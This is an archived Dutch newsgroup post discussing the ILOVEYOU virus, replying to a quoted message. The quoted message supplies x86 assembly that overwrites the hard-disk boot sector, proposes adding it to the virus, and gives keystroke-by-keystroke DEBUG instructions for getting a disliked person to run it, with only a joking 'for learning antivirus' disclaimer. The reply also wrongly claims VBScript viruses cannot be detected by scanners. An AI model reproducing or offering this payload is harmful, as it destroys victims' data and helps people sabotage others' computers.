🚀 go-pugleaf

Volgens mijn weten was het I Love Ypu - virus geschreven in VBScript,
waardoor het op elke PC met de Windows Scripting host uitgevoerd werd,
zonder dat een virusscanner het ooit kon vinden, aangezien VBScript-files
in VB-code (platte tekst dus) geschreven zijn.
En waar zou jij dan de ASM-code invoegen in dit script ?
Het script een COM of EXE laten schrijven en die dan laten uitvoeren ?
Dan zijn we weer bij traditionele virussen beland...

Toch bedankt voor de info !

The Force <no@spa.m> schreef in berichtnieuws
8gbapv$hsa$1@news.planetinternet.be...
> Het ILY virus bracht bijna geen schade aan.
> Hier is wat ASM code waarmee je het virus kan verbeteren.
>
> Wat doet dit ? ==> het wist de bootsector van schijf C
>
> mov ax,301h
> mov bx,200h
> mov cx,1
> mov dx,80h ; vervang de 80 door 0 als je het 4us op disk A wil testen
>                  ; 1 is disk B, 81 is disk D
> int 13h
> mov ax,4c00h
> int 21h
>
> Of als iemand die je niet kan luchten problemen heeft met zijn PC moet je
> hem hetvolgende in een dos-venster laten intypen.
> (DOE DIT AUB ZELF NIET!!!!!!!!!!!!!!!!!!!!!!!!!!!!)
> c:\>debug <--enter
> a <--enter
> mov ax,301 <--enter
> mov bx,200 <--enter
> mov cx,1 <--enter
> mov dx,80 <--enter
> int 13 <--enter
> mov ax,4c00 <--enter
> int 21 <--enter
> g <--enter (g = go = start !!!!)
>
> PS zorg dat je vooraf een bootdisk hebt met daarop FDISK
> Je kan de bootsector dan herstellen met FDISK /MBR
>
> PPS : deze code werd u aangeboden in functie van het leren schrijven van
> Anti4us programma's :-)
>
>
>
>
>